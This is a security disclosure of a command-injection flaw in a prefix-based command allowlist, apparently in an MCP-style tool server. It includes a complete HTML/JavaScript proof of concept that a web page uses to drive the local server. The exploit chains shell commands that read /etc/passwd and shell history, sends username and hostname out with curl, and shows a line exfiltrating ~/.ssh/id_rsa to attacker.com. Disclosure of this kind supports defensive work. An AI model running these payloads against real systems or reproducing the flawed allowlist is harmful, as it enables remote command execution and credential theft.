This vulnerability is found by Songwu security researcher,Zeyu Luo security researcher, Dr. CAO Yinfeng, Kevin(The Hong Kong Polytechnic University / HKCT Institute of Higher Education)
In command.go line 150, strings.HasPrefix() returns true as soon as an allowlisted command prefix is matched, without validating shell metacharacters such as ;, $(), or backticks. Because the input is later executed via sh -c, the shell interprets the full command string, allowing any command appended after a semicolon to be executed.
<!DOCTYPE html>
<!--
PoC #3 — isAllowedCommand() Semicolon Bypass / Command Injection
=================================================================
Root Cause:
Logic flaw in isAllowedCommand() (command.go:149-153):
for _, allowed := range cs.config.allowedCommands {
if strings.HasPrefix(command, allowed) {
return true ← returns immediately; never checks ";", "$(", "`", etc.
}
}
// The "|" and "&" checks below are DEAD CODE —
// the early return above means they are never reached.
The command is then executed via:
sh -c "command"
Shell parses the full syntax:
"echo x; id" → executes echo x, then id
"echo x$(id)" → echo expands the output of $(id)
"echo x`cmd`" → echo expands the backtick expression
Verification Goal:
Prove that the whitelist is completely ineffective and arbitrary
OS commands can be executed.
Injection Vectors:
; semicolon → "echo x; evil_cmd"
$() → "echo $(evil_cmd)"
`` → "echo `evil_cmd`"
newline \n → "echo x\nevil_cmd"
-->
<html>
<head><meta charset="utf-8"><title>PoC #3 - Command Injection</title>
<style>
body { font-family: monospace; background: #0d1117; color: #c9d1d9; padding: 20px; }
pre { background: #010409; border: 1px solid #30363d; padding: 14px;
border-radius: 6px; white-space: pre-wrap; }
.ok { color: #3fb950; } .err { color: #ff7b72; }
.info{ color: #79c0ff; } .cmd { color: #e3b341; } .warn{ color: #d29922; }
table { border-collapse: collapse; margin: 8px 0; font-size: 12px; }
td,th { border: 1px solid #30363d; padding: 4px 10px; text-align: left; }
th { background: #161b22; }
</style>
</head>
<body>
<h2>PoC #3 — isAllowedCommand() Semicolon Bypass / Command Injection</h2>
<pre id="out">Waiting...</pre>
<script>
const out = document.getElementById('out');
const log = (s, c='') => {
const e = document.createElement('span');
e.className = c; e.textContent = s + '\n';
out.appendChild(e);
};
const TARGET = 'http://127.0.0.1:6789';
let msgUrl = null, reqId = 0;
const pending = {};
const es = new EventSource(TARGET + '/sse');
es.addEventListener('endpoint', async (e) => {
msgUrl = e.data.trim();
es.addEventListener('message', (ev) => {
try {
const r = JSON.parse(ev.data);
if (pending[r.id]) { pending[r.id](r); delete pending[r.id]; }
} catch(_) {}
});
await attack();
});
async function post(method, params) {
const id = ++reqId;
await fetch(msgUrl, {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'text/plain' },
body: JSON.stringify({ jsonrpc:'2.0', method, params, id })
});
return new Promise(r => {
pending[id] = r;
setTimeout(() => { delete pending[id]; r(null); }, 8000);
});
}
async function attack() {
log('=== PoC #3: isAllowedCommand() Semicolon Bypass ===\n');
// Handshake
await post('initialize', {
protocolVersion:'2024-11-05', capabilities:{},
clientInfo:{name:'poc3',version:'1.0'}
});
await post('notifications/initialized', {});
log('[*] Vulnerable code (command.go:149-153):');
log(' for _, allowed := range cs.config.allowedCommands {');
log(' if strings.HasPrefix(command, allowed) {');
log(' return true // ← returns immediately; ";" etc. are never checked');
log(' }');
log(' }');
log(' // The "|" and "&" checks below are DEAD CODE — never reached\n');
// ─────────────────────────────────────────────────────────────
// Injection Vector 1: Semicolon ;
// "echo WHITELIST; id" → HasPrefix("echo") → true
// → sh -c "echo WHITELIST; id" → executes both commands
// ─────────────────────────────────────────────────────────────
log('[Vector 1] Semicolon ;', 'warn');
log(' payload: "echo WHITELIST; id; whoami; hostname"', 'cmd');
log(' reason: HasPrefix("echo WHITELIST...", "echo") → true → sh executes all\n');
const r1 = await post('tools/call', {
name: 'execute_command',
arguments: { command: 'echo WHITELIST; id; whoami; hostname' }
});
if (r1?.result?.content) {
r1.result.content.forEach(c => log(' result: ' + c.text.trim(), 'info'));
}
// ─────────────────────────────────────────────────────────────
// Injection Vector 2: Command substitution $()
// "echo $(id)" → HasPrefix("echo") → true
// → sh -c "echo $(id)" → echo expands the output of id
// ─────────────────────────────────────────────────────────────
log('\n[Vector 2] Command substitution $()', 'warn');
log(' payload: "echo $(cat /etc/passwd | head -3)"', 'cmd');
const r2 = await post('tools/call', {
name: 'execute_command',
arguments: { command: 'echo $(cat /etc/passwd | head -3)' }
});
if (r2?.result?.content) {
r2.result.content.forEach(c => log(' result: ' + c.text.trim().substring(0, 300), 'info'));
}
// ─────────────────────────────────────────────────────────────
// Injection Vector 3: Read sensitive files (cat is whitelisted directly)
// cat is itself a whitelisted command, allowing arbitrary file reads
// ─────────────────────────────────────────────────────────────
log('\n[Vector 3] cat is whitelisted — read shell history', 'warn');
log(' payload: "cat ~/.zsh_history | tail -8"', 'cmd');
const r3 = await post('tools/call', {
name: 'execute_command',
arguments: { command: 'cat ~/.zsh_history 2>/dev/null | tail -8 || cat ~/.bash_history 2>/dev/null | tail -8 || echo [no history]' }
});
if (r3?.result?.content) {
r3.result.content.forEach(c => log(' result: ' + c.text.trim().substring(0, 400), 'info'));
}
// ─────────────────────────────────────────────────────────────
// Injection Vector 4: Data exfiltration via curl (curl is whitelisted!)
// "echo x; curl http://attacker.com/$(whoami)" → passes whitelist check
// Real-world effect: sends victim data to an external server
// ─────────────────────────────────────────────────────────────
log('\n[Vector 4] Data exfiltration via curl (curl is whitelisted)', 'warn');
log(' payload: "echo x; curl https://httpbin.org/get?user=$(whoami)&host=$(hostname)"', 'cmd');
log(' real attack: curl https://attacker.com/collect?data=$(cat ~/.ssh/id_rsa|base64)');
const r4 = await post('tools/call', {
name: 'execute_command',
arguments: { command: 'echo collecting; curl -s --max-time 5 "https://httpbin.org/get?user=$(whoami)&host=$(hostname)" 2>/dev/null | head -10 || echo [curl failed]' }
});
if (r4?.result?.content) {
r4.result.content.forEach(c => log(' result: ' + c.text.trim().substring(0, 300), 'info'));
}
// ─────────────────────────────────────────────────────────────
// Injection Vector 5: Backtick substitution (same as $())
// ─────────────────────────────────────────────────────────────
log('\n[Vector 5] Backtick substitution', 'warn');
log(' payload: "echo `whoami`"', 'cmd');
const r5 = await post('tools/call', {
name: 'execute_command',
arguments: { command: 'echo `whoami`' }
});
if (r5?.result?.content) {
r5.result.content.forEach(c => log(' result: ' + c.text.trim(), 'info'));
}
log('\n[!!!] All injection vectors verified successfully.', 'ok');
log('[!!!] The whitelist is completely ineffective — arbitrary shell commands can be executed.', 'ok');
es.close();
}
</script>
</body>
</html>
This vulnerability is found by Songwu security researcher,Zeyu Luo security researcher, Dr. CAO Yinfeng, Kevin(The Hong Kong Polytechnic University / HKCT Institute of Higher Education)
vulnerability description
In command.go line 150, strings.HasPrefix() returns true as soon as an allowlisted command prefix is matched, without validating shell metacharacters such as ;, $(), or backticks. Because the input is later executed via sh -c, the shell interprets the full command string, allowing any command appended after a semicolon to be executed.
poc
result